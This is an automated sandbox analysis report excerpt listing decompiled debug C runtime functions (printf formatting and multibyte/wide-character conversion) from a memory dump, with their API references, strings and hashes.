Instruction Fuzzy Hash: C412D436A0DBC585DAB19B15E8407EEB7A0F7C8791F604126DACD87BA9CB7DD440CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B580 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 318COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B6A5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B6BA
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B87C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B891

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B944
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B959
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

(stream != NULL), xrefs: 000007FEF9D3B63E, 000007FEF9D3B69E
(format != NULL), xrefs: 000007FEF9D3B8DD, 000007FEF9D3B93D
( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn)))), xrefs: 000007FEF9D3B815, 000007FEF9D3B875
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3B653, 000007FEF9D3B690, 000007FEF9D3B82A, 000007FEF9D3B867, 000007FEF9D3B8F2, 000007FEF9D3B92F, 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3CCEC, 000007FEF9D3CD29
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3CCD7, 000007FEF9D3CD37
_output_s_l, xrefs: 000007FEF9D3B697, 000007FEF9D3B86E, 000007FEF9D3B936, 000007FEF9D3BAFB, 000007FEF9D3CD30

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$_invalid_parameter$UpdateUpdate::~_
String ID: ( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))$("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 4023976971-2293733425
Opcode ID: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction ID: fa666a0989dbdcd631dba14fdf712f3fd1171dc1b338b0fed7bc0ada6eb2a45d
Opcode Fuzzy Hash: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction Fuzzy Hash: 8B024A72A0D7C28AE7B09B24E8447BEB7E4F384345F604126D6CC46AA9DB7EE545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35EA0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D35F9D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3603F

Strings

s != NULL, xrefs: 000007FEF9D35F39, 000007FEF9D35F96
_mbstowcs_l_helper, xrefs: 000007FEF9D35F8F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D35F4E, 000007FEF9D35F88

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$s != NULL
API String ID: 530996419-3695252689
Opcode ID: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction ID: dd73616ddae2cae72d7b30165dff30affe8ff5e8ed842a8499c58fb9266416ee
Opcode Fuzzy Hash: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction Fuzzy Hash: FAD11832A1CBC585E7A09B15E8407AEB7A0F784794F605626E6DE83BE9DF3DD444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B090 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B197
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B226
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B2DC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B2EE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B334

Strings

("Buffer too small", 0), xrefs: 000007FEF9D3B42D, 000007FEF9D3B48A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c, xrefs: 000007FEF9D3B148, 000007FEF9D3B182, 000007FEF9D3B28D, 000007FEF9D3B2C7, 000007FEF9D3B442, 000007FEF9D3B47C
", xrefs: 000007FEF9D3B2E1
sizeInBytes > 0, xrefs: 000007FEF9D3B278, 000007FEF9D3B2D5
sizeInBytes <= INT_MAX, xrefs: 000007FEF9D3B133, 000007FEF9D3B190
", xrefs: 000007FEF9D3B496
_wctomb_s_l, xrefs: 000007FEF9D3B189, 000007FEF9D3B2CE, 000007FEF9D3B483

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$"$("Buffer too small", 0)$_wctomb_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c$sizeInBytes <= INT_MAX$sizeInBytes > 0
API String ID: 2192614184-1854130327
Opcode ID: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction ID: 7076a95ac8019ae0c7cbf4bc144243c7f76c7d2257b38824bc8c592ccc79079f
Opcode Fuzzy Hash: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction Fuzzy Hash: 33C10932A0D68286E7B09B54E8547BEB7E0F784744F604126E6CD87AE9CB7EE444CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D830 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 225COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3D955
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3D96A
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DA1D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DA32
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

(stream != NULL), xrefs: 000007FEF9D3D8EE, 000007FEF9D3D94E
(format != NULL), xrefs: 000007FEF9D3D9B6, 000007FEF9D3DA16
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3D903, 000007FEF9D3D940, 000007FEF9D3D9CB, 000007FEF9D3DA08, 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3ECFA, 000007FEF9D3ED37
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3ECE5, 000007FEF9D3ED45
_woutput_s_l, xrefs: 000007FEF9D3D947, 000007FEF9D3DA0F, 000007FEF9D3DBD6, 000007FEF9D3ED3E

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-1870338870
Opcode ID: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction ID: de6734cae50e00c17b19ae97f10413d83fe6e5a887ca475c0331002d176214a7
Opcode Fuzzy Hash: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction Fuzzy Hash: 66D10972A0DA828AE7B09F64E8447AFB6E0F384349F604125D6CD47AE8DB7ED545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6D6 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6D6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t223;
				signed char _t228;
				intOrPtr _t263;
				signed int _t338;
				signed int _t339;
				signed long long _t342;
				intOrPtr* _t365;
				signed long long _t390;

				_t338 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t339 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t342 = _a824;
				_a832 = _t342;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t342;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t223 = _a116;
				_a116 = _a116 - 1;
				if (_t223 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t223 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t228 = _a816 + _a708;
				_a816 = _t228;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t228;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t263 = _a1060;
				_a876 = _t263;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t365 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t365;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t263 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t365 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t390, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6d6
0x7fef9d3c6dd
0x7fef9d3c6e1
0x7fef9d3c6ee
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C
get_int64_arg.LIBCMTD ref: 000007FEF9D3C7B3
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
_output_s_l, xrefs: 000007FEF9D3BAFB
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg$wctomb_s
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2984758162-268265396
Opcode ID: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction ID: a9c1e15515d35d7cf033a694107a1be22a212de4b62ef600bdbf999f0f55ea8a
Opcode Fuzzy Hash: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction Fuzzy Hash: 7202ED7260DBC586E7B1CB25E8857AEB7E4F384795F200125EACD86AA8DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D363E0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 260COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D364BD
_invalid_parameter.LIBCMTD ref: 000007FEF9D3666E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36680
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36772
_invalid_parameter.LIBCMTD ref: 000007FEF9D368E8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D368FA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36959

Strings

(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 000007FEF9D36459, 000007FEF9D364B6
_mbstowcs_s_l, xrefs: 000007FEF9D364AF, 000007FEF9D36660, 000007FEF9D368DA
P, xrefs: 000007FEF9D36912
bufferSize <= INT_MAX, xrefs: 000007FEF9D3660A, 000007FEF9D36667
retsize <= sizeInWords, xrefs: 000007FEF9D36884, 000007FEF9D368E1
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D3646E, 000007FEF9D364A8, 000007FEF9D3661F, 000007FEF9D36659, 000007FEF9D36899, 000007FEF9D368D3
", xrefs: 000007FEF9D368ED

Memory Dump Source

Source File: 00000003.00000002.938324164.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.938319217.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938350415.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938359362.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.938381033.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$P$_mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2192614184-660564692
Opcode ID: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction ID: 92bf99913cb81df5d7f4b76c0ee557dab353d6c18ff2e6375d0d5446e39197ae
Opcode Fuzzy Hash: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction Fuzzy Hash: 8DE10C31A0DBC685E7B09B14E8457AEA3E0F384754FA04626D6DD53AE8DF7ED484CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D355F0 Relevance: 24.2, APIs: 16, Instructions: 206
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D355F0(void* __ecx, long long __rcx, long long __rdx, signed int* __r8, signed int* __r9, long long _a8, void* _a16, signed int* _a24, signed int* _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				void* _v64;
				long long _v72;
				void* _t88;
				void* _t89;
				void* _t107;
				void* _t109;
				signed int* _t158;
				signed int* _t160;
				long long _t175;
				long long _t186;
				signed int* _t187;
				signed int* _t193;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v72 = 0;
				_t158 = _a24;
				if ( *((intOrPtr*)(_t158 + 4)) == 0) goto 0xf9d35639;
				_t89 = E000007FE7FEF9D2E680(_t88, _t158);
				_v56 = _t158 + _a24[1];
				goto 0xf9d35642;
				_v56 = 0;
				if (_v56 == 0) goto 0xf9d356aa;
				_t160 = _a24;
				if ( *((intOrPtr*)(_t160 + 4)) == 0) goto 0xf9d35673;
				E000007FE7FEF9D2E680(_t89, _t160);
				_v48 = _t160 + _a24[1];
				goto 0xf9d3567c;
				_v48 = 0;
				if ( *((char*)(_v48 + 0x10)) == 0) goto 0xf9d356aa;
				if (_a24[2] != 0) goto 0xf9d356b1;
				if (( *_a24 & 0x80000000) != 0) goto 0xf9d356b1;
				goto 0xf9d35966;
				if (( *_a24 & 0x80000000) == 0) goto 0xf9d356d0;
				_v64 = _a16;
				goto 0xf9d356e9;
				_v64 = _a24[2] +  *_a16;
				if (( *_a24 & 0x00000008) == 0) goto 0xf9d35765;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d3575b;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d3575b;
				 *_v64 =  *((intOrPtr*)(_a8 + 0x28));
				_t175 = _v64;
				E000007FE7FEF9D35B30(_t100,  *_t175,  &(_a32[2]));
				 *_v64 = _t175;
				goto 0xf9d35760;
				E000007FE7FEF9D2CF80(_t175);
				goto 0xf9d3595a;
				if (( *_a32 & 0x00000001) == 0) goto 0xf9d35813;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35809;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35809;
				_t107 = E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64,  *((intOrPtr*)(_a8 + 0x28)), _a32[5]);
